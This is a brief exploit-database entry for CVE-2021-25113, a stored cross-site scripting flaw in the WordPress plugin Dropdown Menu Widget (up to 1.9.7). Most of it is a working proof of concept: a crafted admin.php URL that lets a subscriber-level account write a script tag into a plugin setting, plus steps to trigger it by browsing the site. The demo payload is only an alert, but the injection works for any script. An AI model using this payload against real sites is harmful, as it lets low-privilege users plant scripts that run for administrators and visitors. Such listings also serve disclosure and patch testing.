Exploit for Dropdown Menu Widget <= 1.9.7 - Subscriber+ Arbitrary Settings Update to Stored XSS CVE-2021-25113

Name: Exploit for Dropdown Menu Widget <= 1.9.7 - Subscriber+ Arbitrary Settings Update to Stored XSS CVE-2021-25113
Rating: 5 (64 reviews)

2022-03-14 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:7A5078DB-E0D4-4076-9DE9-5401C3CA0D65
Open the following URL as a subscriber: https://example.com/wp-admin/admin.php?shailan_dm_active_theme=*url*&shailan_dm_theme_url="><script>alert(/XSS/);</script>&action=save&page=dropdown-menu

You'll get a permission denied message. Ignore it and browse to https://example.com or the plugin's settings to trigger the XSS